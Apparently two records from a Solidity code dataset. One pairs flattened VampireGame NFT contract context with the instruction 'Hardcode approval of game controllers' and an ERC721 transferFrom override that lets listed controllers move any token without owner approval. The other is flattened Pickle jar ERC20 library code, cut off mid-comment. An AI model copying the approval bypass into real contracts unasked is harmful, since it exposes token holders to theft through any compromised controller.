to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.6; struct TokenTraits { bool isVampire; // Shared Traits uint8 skin; uint8 face; uint8 clothes; // Human-only Traits uint8 pants; uint8 boots; uint8 accessory; uint8 hair; // Vampire-only Traits uint8 cape; uint8 predatorIndex; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.6; interface ITraits { function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.6; import "./traits/TokenTraits.sol"; /// @notice Interface to interact with the VampireGame contract interface IVampireGame { /// @notice get the amount of tokens minted function getTotalSupply() external view returns (uint16); /// @notice get tthe amount of og supply function getOGSupply() external view returns (uint16); /// @notice get the total supply of gen-0 function getGenZeroSupply() external view returns (uint16); /// @notice get the total supply of tokens function getMaxSupply() external view returns (uint16); /// @notice get the TokenTraits for a given tokenId function getTokenTraits(uint16 tokenId) external view returns (TokenTraits memory); /// @notice check if token id a vampire function isTokenVampire(uint16 tokenId) external view returns (bool); /// @notice get the Predator Index for a given tokenId function getPredatorIndex(uint16 tokenId) external view returns (uint8); /// @notice returns true if a token is aleady revealed function isTokenRevealed(uint16 tokenId) external view returns (bool); } /// @notice Interface to control parts of the VampireGame ERC 721 interface IVampireGameControls { /// @notice mint any amount of nft to any address /// Requirements: /// - message sender should be an allowed address (game contract) /// - amount + totalSupply() has to be smaller than MAX_SUPPLY function mintFromController(address receiver, uint16 amount) external; /// @notice reveal a list of tokens using specific seeds for each function controllerRevealTokens(uint16[] calldata tokenIds, uint256[] calldata seeds) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
Hardcode approval of game controllers
function transferFrom( address from, address to, uint256 tokenId ) public virtual override { if (!controllers[_msgSender()]) require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _transfer(from, to, tokenId); }
588,811
// hevm: flattened sources of src/pickle-jar.sol pragma solidity >=0.4.23 >=0.6.0 <0.7.0 >=0.6.2 <0.7.0 >=0.6.7 <0.7.0; ////// src/interfaces/controller.sol // SPDX-License-Identifier: MIT /* pragma solidity ^0.6.0; */ interface IController { function jars(address) external view returns (address); function rewards() external view returns (address); function want(address) external view returns (address); // NOTE: Only StrategyControllerV2 implements this function balanceOf(address) external view returns (uint256); function withdraw(address, uint256) external; function earn(address, uint256) external; } ////// src/lib/safe-math.sol /* pragma solidity ^0.6.0; */ /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } ////// src/lib/erc20.sol // File: contracts/GSN/Context.sol /* pragma solidity ^0.6.0; */ /* import "./safe-math.sol"; */ /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: contracts/token/ERC20/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/utils/Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: contracts/token/ERC20/ERC20.sol /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use 